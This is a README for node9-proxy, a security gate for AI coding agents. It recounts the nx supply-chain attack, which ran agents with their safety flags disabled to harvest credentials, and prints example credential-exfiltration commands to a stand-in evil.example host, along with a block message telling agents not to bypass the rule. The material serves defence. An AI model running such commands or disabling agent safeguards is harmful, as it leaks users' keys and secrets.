node9-proxy

Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents

Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.

What it looks like

A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.

Install

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Then, in any project:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Requires Node.js 22+.

On a new interactive terminal, node9 guides you through setup. Local protection needs no account. The checklist shows recommended shields, DLP/PII, optional network egress review, and the background service. Usage statistics are sent only if you accept the separate prompt. The summary lists configured agents and any setup steps that need attention.

Run node9 setup to revisit setup, or node9 setup <target> to configure one agent. Once configured, bare node9 shows help. node9 init remains available; for scripts use node9 init --recommended (no questions and no telemetry opt-in). --skip-setup leaves agent wiring and service installation alone. Explicit --mode takes precedence over the checklist's standard-mode recommendation. Existing settings are preserved unless selected changes or explicit flags request an update. Workspace policy is managed in the dashboard; service settings remain local.

login adds nothing to enforcement. It connects the machine to a workspace so a team can see one record across everyone's laptops and CI, set policy centrally, and approve held actions from a dashboard or Slack. Skip it and node9 works exactly the same, alone, offline. node9 logout disconnects again and local enforcement keeps running.

Use as an MCP server

node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

Any MCP client works the same way: the command is npx -y node9-ai mcp-server over stdio, with no API key. It is listed in the official MCP Registry as io.github.node9-ai/node9.

The problem

In August 2025, compromised releases of the nx build tool shipped a post-install script that looked for AI coding agents already installed on the developer's machine, then ran them with their own safety flags turned off (--dangerously-skip-permissions, --yolo, --trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list to disk. The script pushed the results to public repositories inside the victims' own GitHub accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was told.

The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.

What node9 does about it

node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws, .env files, private keys) is on by default, and a read of one of those paths does not run. The agent is stopped, told why, and the decision comes to you:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

The command is parsed as a shell AST, not matched as text, so wrapping the read does not help. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read of ~/.aws/credentials, not as an echo.

node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.

What it does not do: with egress control off, which is the default, a command that hands a file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of that file. node9 egress protect gates destinations as well, and it covers shell commands only.

Verify it yourself

Nothing below needs an account or uploads your code. scan-repo sends an anonymous usage count (no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

What it governs

Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.